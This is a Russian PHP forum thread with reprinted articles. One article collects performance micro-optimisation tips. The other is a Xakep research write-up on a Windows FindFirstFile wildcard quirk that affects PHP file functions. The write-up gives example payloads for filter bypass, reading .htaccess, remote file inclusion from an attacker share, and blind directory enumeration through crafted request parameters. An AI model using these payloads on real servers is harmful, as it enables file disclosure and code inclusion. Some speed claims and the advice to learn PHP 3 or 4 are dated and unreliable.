avatar_GrInYa

Лучшие советы по оптимизации PHP кода для быстрой работы сайта

Автор GrInYa, 2011 Янв. 20, 14:01

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Ключевые слова [SEO] php оптимизацияускорение сайтапрограммированиесоветы

GrInYa

В интернете есть статья где написаны способы и трюки чтобы ваши скрипты работали быстрее, а также и советы профессионалов

https://www.chazzuka.com/blog/?p=58

статья немножко старовата но для начало этого хватит

ПС: тут собрано большинство трюков, также в интернете можете поискать и увидеть что то что говорится тут это правда а также можете сами тестировать

если у кого то есть другие трюки то буду рад прочитать

$array = range(0, 1000);

1.
isset($array[500]); быстрее чем array_key_exists(500, $array);

array_key_exists(500, $array); #Time to execute: 0.008418 seconds!

isset($array[500]);  #Time to execute: 0.001291 seconds!

повторяются 1000 раз

PS: где то я видел что говорится что array_key_exists быстрее...но это не так

2.
foreach быстрее чем array_map

foreach #Time to execute: 0.055796 seconds!

array_map #Time to execute: 0.119043 seconds!

повторяются 100 раз

вывод: где то в 2 раза быстрее

3.
$array['firstname'] = 'myfirstname';
$array['lastname'] = 'mylastname';

быстрее чем

$array = array('firstname' => 'myfirstname', 'lastname' => 'mylastname');

Everybody

#1
Сборник советов и фактов по оптимизации PHP-скриптов
Спойлер
Сборник советов и фактов по оптимизации PHP-скриптов

Одним из основных критериев успешности любого интернет-ресурса является скорость его работы и с каждым годом пользователи становятся всё более и более требовательными по этому критерию. Оптимизация работы php-скиптов — это один из методов обеспечения скорости работы системы.
В этой статье я бы хотел представить на суд общественности свой сборник советов и фактов по оптимизации скриптов. Сборник собирался мною достаточно долго, основан на нескольких источниках и личных экспериментах.
Почему сборник советов и фактов, а не жестких правил? Потому что, как я убедился, не существует «абсолютно правильной оптимизации». Многие приёмы и правила противоречивы и выполнить их все невозможно. Приходиться выбирать совокупность методов, которыми приемлемо пользоваться без ущерба безопасности и удобности. Я занял рекомендательную позицию и поэтому у меня советы и факты, которые Вы можете соблюдать, а можете и не соблюдать.
Что бы не было путаницы, я разделил все советы и факты на 3 группы:
Оптимизация на уровне логики и организации приложения
Оптимизация кода
Бесполезная оптимизация

Группы выделены условно и некоторые пункты можно отнести сразу к нескольким из них. Цифры приведены для среднестатистического сервера (LAMP). В статье не рассматриваются вопросы связанные с эффективностью различных сторонних технологий и фреймворков, так как это тема отдельных дискуссий.

Оптимизация на уровне логики и организации приложения

Многие из советов и фактов, относящихся к данной группе оптимизации, являются весьма значимыми и дают весьма большой выигрыш во времени.
Постоянно профилируйте свой код на сервере (xdebug) и на клиенте (firebug), что бы выявить узкие места кода
Следует отметить, что профилировать надо и серверную, и клиентскую часть, так как не все серверные ошибки можно обнаружить на самом сервере.
Количество, используемых в программе пользовательских функций, никак не влияет на скорость
Это позволяет использовать в программе бесчисленное число пользовательских функций.
Активно используйте пользовательские функций
Положительный эффект достигается за счёт того, что внутри функций операции ведутся только с локальными переменными. Эффект этого больше, чем расходы на вызовы пользовательских функций.
«Критически тяжёлые» функции желательно реализовать на стороннем языка программирования в виде расширения PHP
Это требует навыков программирования на стороннем языке, что значительно увеличивает время разработки, но в тоже время позволяет использовать приёмы вне возможности PHP.
Обработка статического файла html быстрее, чем интерпретируемого файла php
Различие повремени на клиенте может составлять около 1 секунды, поэтому имеет смысл четкое разделение статики и генерируемых средствами PHP страниц.
Размер обрабатываемого (подключаемого) файла влияет на скорость
Примерно на обработку каждых 2 Кб тратиться 0.001 секунды. Этот факт толкает нас на проведение минимизации кода скриптов при перенесении на рабочий сервер.
Старайтесь не использовать постоянно require_once или include_once
Эти функции нужно использовать при наличии возможности повторного считывания файла, в остальных случаях желательно использовать require и include.
При ветвлении алгоритма, если имеются конструкции, которые могут не обрабатываться и их объём порядка 4 Кб и более, то более оптимально их подключать при помощи include.
Желательно использовать проверку отправляемых данных на клиенте
Это вызвано тем, что при проверке данных на стороне клиента, резко снижается количество запросов с неверными данными. Системы проверки данных на клиенте строятся в основном с использованием JS и жестких элементов формы (select).
Желательно большие конструкций DOM для массивов данных строить на клиенте
Это очень эффективный метод оптимизации при работе с отображением большого объёма данных. Суть его сводится к следующему: на сервере подготавливается массив данных и передаётся клиенту, а построение конструкций DOM предоставляется JS функциям. В результате нагрузка частично перераспределяется с сервера на клиент.
Системы, построенные на технологии AJAX, значительно быстрее, чем системы, не использующие эту технологию
Это вызвано уменьшением объёмов вывода и перераспределением нагрузки на клиента. На практике скорость систем с AJAX в 2-3 раза выше. Замечание: AJAX в свою очередь создаёт ряд ограничений на использование других методов оптимизации, например, работа с буфером.
При получение post-запроса всегда возвращайте что-нибудь, можно даже пробел
Иначе клиенту будет отправлена страница ошибки, которая весит несколько килобайт. Данная ошибка очень часто встречается в системах, использующих технологию AJAX.
Получение данных из файла быстрее, чем из БД
Это во многом вызвано затратами на подключение к БД. К моему удивлению, огромный процент программистов маниакально хранят все данные в БД, даже когда использование файлов быстрее и удобнее. Замечание: в файлах можно хранить данные, по которым не ведётся поиск, в противном случае следует использовать БД.
Не осуществляйте подключение к БД без необходимости
По неизвестной мне причине, многие программисты осуществляют подключение к БД на этапе считывания настроек, хотя далее они могут не делать запросов к БД. Это вредная привычка, которая стоит в среднем 0.002 секунды.
Используйте постоянное соединение с БД при малом количестве одновременно активных клиентов
Выгода во времени вызвана отсутствием затрат на подключение к БД. Разница во времени примерно 0.002 секунды. Замечание: при большом количестве пользователей постоянные соединения использовать нежелательно. При работе с постоянными соединениями должен быть механизм завершения соединений.
Использование сложных запросов к БД быстрее, чем использование нескольких простых
Разница во времени зависит от многих факторов (объём данных, настройка БД и пр.) и измеряется тысячными, а иногда даже сотыми, секунды.
Использование вычислений на стороне СУБД быстрее, чем вычисления на стороне PHP для данных хранящихся в БД
Это вызвано тем фактором, что для таких вычислений на стороне PHP требуется два запроса к БД (получение и изменение данных). Разница во времени зависит от многих факторов (объём данных, настройка БД и пр.) и измеряется тысячными и сотыми секунды.
Если данные выборки из БД редко меняются и к этим данным обращается множество пользователей, то имеет смысл сохранить данные выборки в файл
Например можно использовать следующий простой подход: получаем данные выборки из БД и сохраняем их как сериализованный массив в файл, далее любой пользователь использует данные из файла. На практике такой метод оптимизации может дать многократный прирост скорости выполнения скрипта. Замечание: При использовании данного метода требуются писать инструменты для формирования и изменения данных хранимых файле.
Кэшируйте данные, которые редко меняются, при помощи memcached
Выигрыш времени может быть весьма значительным. Замечание: кэширование эффективно для статичных данных, для динамичных данных эффект снижается и может быть отрицательным.
Работа без объектов (без ООП) быстрее, чем работа с использованием объектов, примерно, в три раза
Памяти «съедается» также больше. К сожалению, интерпретатор PHP не может работать с ООП также быстро как с обычными функциями.
Чем больше мерность массивов, тем медленнее они работают
Потеря времени возникает из-за обработки вложенности структур.

Оптимизация кода

Данные советы и факты дают незначительны по сравнению с предыдущей группой прирост скорости, но в своей совокупности эти приёмы могут дать неплохой выигрыш времени.
echo и print значительно быстрее, чем printf
Разница во времени может доходить до нескольких тысячных секунды. Это вызвано тем, что printf служит для вывода форматированных данных и интерпретатор проверяет полностью строку на вхождение таких данных. printf используется только для вывода данных, которым нужно форматирование.
echo $var."text" быстрее, чем echo "$var text"
Это вызвано тем, что движок PHP во втором случае вынужден искать переменные внутри строки. Для больших объёмов данных и старых версий PHP различия по времени заметны.
echo 'a' быстрее, чем echo "a" для строк без переменных
Это вызвано тем, что во втором случае движок PHP пытается найти переменные. Для больших объёмов данных различия во времени достаточно заметны.
echo 'a','b' быстрее, чем echo 'a'.'b'
Вывод данных через запятую быстрее, чем через точку. Это вызвано тем, что во втором случае происходит конкатенация строк. Для больших объёмов данных различия во времени достаточно заметны. Примечание: это работает только с функцией echo, которая может принимать несколько строк в качестве аргументов.
$return='a'; $return.='b'; echo $return; быстрее, чем echo 'a'; echo 'b';
Причина в том, что вывод данных требует некоторых дополнительных операций. Для больших объёмов данных различия во времени достаточно заметны.
ob_start(); echo 'a'; echo 'b'; ob_end_flush(); быстрее, чем $return='a'; $return.='b'; echo $return;
Это вызвано тем, что вся работа осуществляется без обращения к переменным. Для больших объёмов данных различия во времени достаточно заметны. Замечание: данный прием неэффективен, если вы работаете с AJAX, так как в этом случае данные желательно возвращать в виде одной строки.
Используйте «профессиональную вставку» или ?> a b <?php быстрее, чем <?php echo 'a'; echo 'b'; ?>
Статические данные (вне программного кода) обрабатываются быстрее, чем вывод данных PHP. Этот прием называется профессиональной вставкой. Для больших объёмов данных различия во времени достаточно заметны.
readfile быстрее, чем file_get_contents, file_get_contents быстрее, чем require, а require быстрее, чем include для вывода статического контента из отдельного файла
По времени считывания пустого файла колебания от 0.001 для readfile до 0.002 для include.
require быстрее, чем include для интерпретируемых файлов
Замечание: при ветвлении алгоритма, когда есть возможность не использовать интерпретируемый файл, надо использовать include, т.к. require подключает файл всегда.
if (...) {...} else if (...) {} быстрее, чем switch
Время зависит от количества веток.
if (...) {...} else if (...) {} быстрее, чем if (...) {...}; if (...) {};
Время зависит от количества веток и условий. Необходимо использовать else if везде, где это возможно, так как это самая быстрая «условная» конструкция.
Наиболее часто встречающиеся условия конструкции if (...) {...} else if (...) {} надо помещать в начале ветвления
Интерпритатор просматривает конструкцию сверху вниз, пока не найдет выполнение условия. Если интерпретатор находит выполнение условия, то остальныю часть конструкции он не просматривает.
x = sizeOf($array); for($i = 0; $i < x; ++$i) {...} быстрее, чем for($i = 0; $i < sizeOf($array); ++$i) {...}
Это вызвано тем, что во втором случае операция sizeOf будет выполнятся при каждой итерации. Время разницы выполнения зависит от числа элементов массива.
x = sizeOf($array); for($i = 0; $i < x; ++$i) {...} быстрее, чем foreach($arr as $value) {...} для не ассоциативных массивов
Разница во времени значительна и увеличивается при увеличении массива.
preg _replace быстрее, чем ereg_replace, str_replace быстрее, чем preg_replace, но strtr быстрее, чем str_replace
Разница во времени зависит от объёма данных и может достигать нескольких тысячных секунд.
Функции работы со строками быстрее, чем регулярные выражения
Это правило является следствием предыдущего.
Удаляйте уже ненужные переменные-массивы для освобождения памяти.
Старайтесь не использовать подавление ошибок @
Подавление ошибок производит ряд очень медленных операций, а так как частота повтора может быть очень большой, потери скорости могут быть значительными.
if (isset($str{5})) {...} быстрее, чем if (strlen($str)>4){...}
Это вызвано тем, что вместо функции для работы со строками strlen используется стандартная операция проверки isset.
0.5 быстрее, чем 1/2
Причина в том, что во втором случае выполняется операция деления.
return быстрее, чем global при возвращении значения переменной из функции
Это вызвано тем, что во втором случае создаётся глобальная переменная.
$row['id'] быстрее, чем $row[id]
Первый вариант быстрее в 7 раз.
$_SERVER['REQUEST_TIME'] быстрее, чем time() для определения времени запуска скрипта
Причина в том, что в первом случае нет использования функции.
if ($var===null) {...} быстрее, чем if (is_null($var)) {...}
Причина в том, что в первом случае нет использования функции.
++i быстрее, чем i++, --i быстрее, чем i--
Это вызвано особенностями ядра PHP. Разница по времени менее 0.000001, но если у Вас данные процедуры повторяются тысячи раз, то присмотритесь к данной оптимизации.
Инкремент инициализированной переменой i=0; ++i; быстрее, чем не инициализированной ++i
Разница по времени около 0.000001 секунды, но из-за возможной частоты повтора следует помнить данный факт.
Использование «отработавших» переменных быстрее, чем объявление новых
Или перефразирую иначе – Не создавайте лишних переменных.
Работа с локальными переменными быстрее, чем с глобальными, примерно, в 2 раза
Хоть и разница во времени менее 0.000001 секунды, но из-за высокой частоты повторения следует стараться работать с локальными переменными.
Обращение к переменной напрямую быстрее, чем вызов функции, внутри которой определяется эта переменная в несколько раз
На вызов функции тратиться примерно в три раза больше времени, чем на вызов переменной.

Бесполезная оптимизация

Ряд методов оптимизации на практике не оказывают большого влияния на скорость выполнения скриптов (выигрыш времени менее 0.000001 секунды). Несмотря на это, такая оптимизация зачастую становиться предметом споров. Я привел данные «бесполезные» факты для того, чтобы вы в последующим не уделяли им особого внимания при написании кода.
echo быстрее, чем print
include('абсолютный путь') быстрее, чем include('относительный путь')
sizeOf быстрее, чем count
foreach ($arr as $key => $value) {...} быстрее, чем reset ($arr); while (list($key, $value) = each ($arr)) {...} для ассоциативных массивов
Не комментированный код быстрее, чем комментированный, так как уходит дополнительное время на чтение файла
Весьма глупо уменьшать объём комментариев ради оптимизации, надо просто в рабочих («боевых») скриптах проводить минимизацию.
Переменные с короткими названиями быстрее, чем переменные с длинными названиями
Это вызвано сокращением объёмов обрабатываемого кода. Аналогично предыдущему пункту, надо просто в рабочих («боевых») скриптах проводить минимизацию.
Разметка кода с использованием табуляции быстрее, чем с использованием пробелов
Аналогично предыдущему пункту.

Напоследок, хочу раз напомнить, что приведённые мною советы и факты не абсолютны и значимость их применения зависит от конкретной ситуации. Необходимо помнить, что оптимизация скриптов лишь малая часть от всей процедуры оптимизации и зачастую возможно спокойно жить без вышеописанных советов.
Источник: habrahabr.ru/blogs/php/112474/
Автор: VitaZheltyakov
[свернуть]


Новые уязвимости доступа к файлам в PHP
Спойлер
Какой-нибудь год назад все просто с ума сходили от Error-based MySQL, а unserialize казался чем-то сложным и не встречающимся в реальной жизни. Теперь это уже классические техники. Что уж говорить о таких динозаврах как нуль-байт в инклудах, на смену которому пришел file name truncated. Исследователи постоянно что-то раскапывают, придумывают, а тем временем уже выходят новые версии интерпретаторов, движков, а с ними – новые баги разработчиков.
По сути, есть три метода найти уязвимость: смекалка (когда исследователь придумывает какой-нибудь трюк и проверяет, работает ли он на практике), анализ исходного кода и фаззинг. Об одном интересном китайском фаззинге и его развитии с моей стороны я и хочу рассказать.



Fuzzing — это не только ценный мех...

Началось все с того, что Гугл распорядился выдачей уже не помню на какой запрос и показал сайт на китайском языке: https://code.google.com/p/pasc2at/wiki/SimplifiedChinese, где было собрано множество интересных находок китайских фаззеров. Интересно, что в списке были совсем свежие находки, которые только-только публиковались в статьях. Среди них нашелся и привлекший мое внимание код следующего содержания:
<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."rn";
}
?>
Привлек он меня потому, что смысла я не понял, но разобрал в описании знакомые символы «win32» :). Переводить китайскую письменность было странным развлечением даже с помощью google.translate, поэтому я тупо выполнил этот код под виндой и посмотрел на результат. Каково же было мое удивление, когда обнаружилось, что у файла в винде существовали как минимум 4 имени: 1.phP, 1.php, 1.ph>, 1.ph<. Теперь уже китайская письменность не казалась мне такой далекой, и переводчик Гугла помог понять ее смысл. Собственно, в этом самом «смысле» не было ничего больше, чем описание кода и результата его работы. Не то чтобы не густо — вообще никак! Такое положение дел меня не устраивало. До сих пор не понимаю этих китайцев — неужели им не интересно было понять, какие функции еще уязвимы, какие особенности у этого бага при эксплуатации, а конце концов, почему это вообще работает?

Требую продолжения банкета!

Первым делом я добавил второй итератор и запустил код с фаззингом уже по двум последним байтам. Результаты были непредсказуемы:
1.p<0 (нуль-байт на конце)
1.p<  (пробел на конце)
1.p<"
1.p<.
1.p<<
1.p>>
1.p<>
1.p><
1.p<(p/P)
1.p>(p/P)
1.p(h/H)<
1.p(h/H)>
1.p(h/H)(p/P)
Отсюда явно проглядывались закономерности — на конце имени файла могли идти символы: точка, двойная кавычка, пробел, нуль-байт. Чтобы проверить эту догадку, я запустил следующий код:
<?php
if (file_get_contents("test.php".str_repeat(""",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337;
?>
Как нетрудно догадаться, он вернул 1337, то есть все работало так, как и было предсказано. Это само по себе было уже расширение по символам популярной уязвимости, альтернативы нуль-байту в инклудах. После продолжения издевательств над интерпретатором были найдены конструкции имени файла со слэшами на концах, которые тоже читались без проблем:
file./..
file////.
file\.
file\./////.
Думаю, здесь все ясно: если использовать слэши после имени файла, то на конце всегда должна стоять точка. При этом слэши можно миксовать, и между ними можно втыкать одну точку.
При всем при этом оставалось неясным главное — что скрывают символы < и >?

Великий и могучий WINAPI

Как мне быстро стало понятно, фаззингом природу этой ошибки не поймешь. Оставалось два варианта: смотреть сорцы или трассировать вызовы. Оба эти метода довольно быстро указали на одно и то же — вызов функции FindFirstFile. При этом в стеке вызов проходил уже с заменой символа > на ?, а < на *, двойная кавычка же заменялась на точку. Также очень весело было замечать, что, несмотря на замену, < не всегда работала как * в маске файла, а вот << всегда хорошо отрабатывала. При этом в стеке оба вызова были совершенно одинаковые, но давали разный результат (см. рисунок). Теперь стало полностью ясно, откуда растут ноги. И ноги действительно росли из Ж под именем MS.



Польза MSDN

Теперь оставалось понять, является ли такое поведение функции FindFirstFile нормальным, или же здесь имеет место баг. Искать ответ на этот вопрос я начал с документации: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx.
В самой документации ничего не говорилось насчет символов > < ", зато вот в комментариях...
Bug?!
The characters of '<' and '>' are treated like wildcard by this function.

[MSFT] — these are listed in the Naming A File topic as illegal characters in path and file names. That topic is being updated to make this clearer.
History

10/19/2007
xMartian

5/2/2008
Mark Amos — MSFT
То есть об этом баге было известно еще в 2007 году! А ответ производителя вообще потрясал своим содержанием... Без комментариев :). На этом, вроде бы, стала окончательно ясна причина такого поведения PHP. Можно было приступать к расширению области применения данного бага. Перепробовав различные варианты, перечитав кучу документации (MSDN и правда очень полезен) и опробовав сотни идей, я выявил ряд правил, которые работают для файловых имен в WIN-системах. Причем баг в FindFirstFile способствует только первым четырем из них (нулевой пункт не считаем). Также, забегая вперед, скажу, что уязвимость касается не только функции file_get_contents:
Символы * и? не работают в именах файлов при вызове FindFirstFile через PHP (фильтруются).
Символ < заменяется при вызове FindFirstFile на *, то есть маску любого количества любых символов. При этом были найдены случаи, когда это работает некорректно (см. картинку). Для гарантированной маски * следует использовать <<.
Пример: include('shell<') подключит файл shell*, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
Символ > заменяется при вызове FindFirstFile на ?, то есть один любой символ.
Пример: include('shell.p>p') подключит файл shell.p?p, причем если под маску попадет более одного файла, то подключится тот, который идет раньше по алфавиту.
Символ " заменяется при вызове FindFirstFile на точку.
Пример: include('shell«php') эквивалентно include('shell.php').
Если первый символ в имени файла точка, то прочитать файл можно по имени без учета этой точки.
Пример: fopen(»htaccess") эквивалентно fopen(".htaccess"), а более навороченно, с использованием п.1,fopen(«h<<»). Так как в имени файла вторая буква «а», то по алфавиту он, скорее всего, будет первым.
В конце имен файлов можно использовать последовательности из слэшей одного или разного вида (прямой и обратный), между которыми можно ставить одну точку, причем в конце всегда должна стоять точка, и не ", а настоящая.
Пример: fopen("")
Можно использовать сетевые имена, начинающиеся с \, за которыми идет любой символ, кроме точки. Это очевидно и было известно всем давно. Дополню лишь, что если сетевое имя не существует, то на операцию с файлом уходят лишние 4 секунды, что способствует истечению времени и ошибке max_execution_time (смотри статью «Гюльчатай, открой личико»). Также это позволяет обходить allow_url_fopen=Off и делать RFI.
Пример: include('\evilservershell.php')
Можно использовать расширенные имена, начинающиеся с \., что дает возможность переключаться между дисками в имени файла.
Пример: include('\.C:myfile.php......D:anotherfile.php').
Можно использовать альтернативный синтаксис имени диска для обхода фильтрации слэшей.
Пример: file_get_contents('C:boot.ini') эквивалентно file_get_contents('C:/boot.ini')
Можно использовать короткие DOS-совместимые имена файлов и директорий. Это боян, не спорю. Но обращаю твое внимание, что если в директории находится более четырех файлов, имена которых короче трех символов, то такие имена будут дополнены четырьмя хекс-символами. Аналогично будет изменено имя файла, если в директории находятся более четырех файлов, чьи имена начинаются с тех же двух первых букв.
Цитата:
Specifically, if more than four files use the same six-character root, additional file names are created by combining the first two characters of the file name with a four-character hash code and then appending a unique designator. A directory could have files named MYFAVO~1.DOC, MYFAVO~2.DOC, MYFAVO~3.DOC, and MYFAVO~4.DOC. Additional files with this root could be named MY3140~1.DOC, MY40C7~1.DOC, and MYEACC~1.DOC.
Пример: in.conf имеет DOS имя IND763~1.CON, то есть его можно прочитать строчкой file_get_contents('<<D763<<'), в которой вообще не содержится ни байта из настоящего имени файла! Как считаются эти четыре хекс-символа нигде не сказано, но они, кажется, зависят только от имени файла.
В PHP под окружением командной строки (не mod_php, а php.exe) работает специфика файлов с зарезервированными именами aux, con, prn, com1-9, lpt1-9.
Пример: file_get_contents('C:/tmp/con.jpg') будет бесконечно читать из устройства CON нуль-байты, ожидая EOF.
Пример: file_put_contents('C:/tmp/con.jpg',chr(0x07)) пискнет динамиком сервера (музыка :)).
Советую вырезать все пункты и повесить в рамочку на видное место. Лишним не будет :).

Играем в считалочку

Поверить китайскому в подписи под фаззингом о том, что уязвимость касается только file_get_contents, я просто не мог, хотя бы потому, что немного помнил исходники PHP. Недолго думая, я проверил все функции, которые вспомнил касательно работы с файлами. Результаты оказались более чем положительные.
Уязвимость присутствует в функциях:
fopen
file_get_contents
copy
parse_ini_file
readfile
file_put_contents
mkdir
tempnam
touch
move_uploaded_file
include(_once)
require(_once)
ZipArchive::open()
Не присутствует в:
rename
unlink
rmdir
Есть где разгуляться, не правда ли? Но это еще полбеды.

PoC: идеи использования

Очевидно, что данную уязвимость можно использовать для обхода все возможных фильтров и ограничений. Например, для файла .htaccess, альтернативное имя будет h<< (см. п.4, п.1). Двухсимвольные файлы вообще можно читать без имени (см. п.9.). Ну и так далее. Есть и другое, не менее интересное применение — определение имен папок и файлов.
Рассмотрим пример:
<?php
file_get_contents("/images/".$_GET['a'].".jpg");
?>
С помощью такого кода можно очень просто получить список директорий веб-сервера.
Посылаем запрос test.php?a=../a<%00 и получаем ответ вида
Warning: include(/images/../a<) [function.include]: failed to open stream: Invalid argument in ...
или
Warning: include(/images/../a<) [function.include]:  failed to open stream: Permission denied ...
В первом случае сервер не нашел ни одной директории начинающейся с буквы «а» в корне, во втором — нашел.
Далее можно запустить подбор второй буквы и так далее. Для ускорения можно воспользоваться фонетикой (см. статью «Быстрее, выше и снова быстрее. Революционные подходы к эксплуатации SQL-инъекций»). Работает старая добрая техника эксплуатации слепых SQL инъекций.
В ходе проведения опытов было замечено, что иногда сервер сразу выдает найденный путь в сообщении об ошибке. Тогда подбирать придется только в случае, если директории начинаются с одного и того же символа. От чего зависит вывод ошибки, я так и не успел разобраться и оставляю на суд общественности.

Лирическое отступление

Отрадно заметить, что репорт у китайцев нашел и Маг, который опубликовал ее в числе прочих в статье «Малоизвестные способы атак на web-приложения» еще 19 апреля, но пояснения и акцента на этой уязвимости там не было, был только китайский пример, с которого я и начинал.

Мораль

Честно говоря, очень хотелось найти альтернативу нуль-байту, но тщетно. Зато данная уязвимость открывает простор для других, не менее интересных атак. По сути, предоставляя возможности поиска директории и файлов через функции работы с файлами. Это само по себе уникальное явление. Как бы там ни было, респект китайцам с их фаззингом, но призываю и их, и всех остальных исследовать сырые данные, получаемые таким образом. Фаззинг фаззингом, а думать надо головой.

Источник: habrahabr.ru/company/xakep/blog/112691/
Журнал Хакер, Февраль (02) 145
Автор: Владимир «d0znp» Воронцов
[свернуть]

worldhero

Я читал много статей по оптимизации.
Магу сказать сразу, что обычные и как некоторые говорят старомодные команды работают гораздо быстрее новых, даже тех же с пхп 5.2 основанные на ООП

Поэтому для новичков советую, не начинать изучать с пхп 5.0 - 5.2 а с далекого пхп 3.0 или 4.0
начиная с самых простейших, и прибегать к новым командам в случаи крайней необходимости, для создания действия которое обычными командами займет гораздо больше времени и сил а соответственно и размер кода будет больше (что скажется на производительность).

Похожие темы (2)

Сообщений: 1
Просмотров: 8587

Сообщений: 0
Просмотров: 4097